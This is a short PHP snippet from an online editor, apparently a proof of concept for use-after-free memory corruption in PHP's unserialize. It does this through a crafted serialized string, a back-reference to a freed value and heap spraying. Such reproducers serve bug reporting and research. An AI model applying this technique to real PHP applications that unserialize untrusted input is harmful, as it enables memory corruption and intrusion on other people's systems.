Online PHP editor | refs for BclOC

<?php class obj implements Serializable { private $data; public function serialize() { return serialize($this->data); } public function unserialize($data) { $this->data = unserialize($data); $this->data = 3; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi' . $i; } var_dump($data);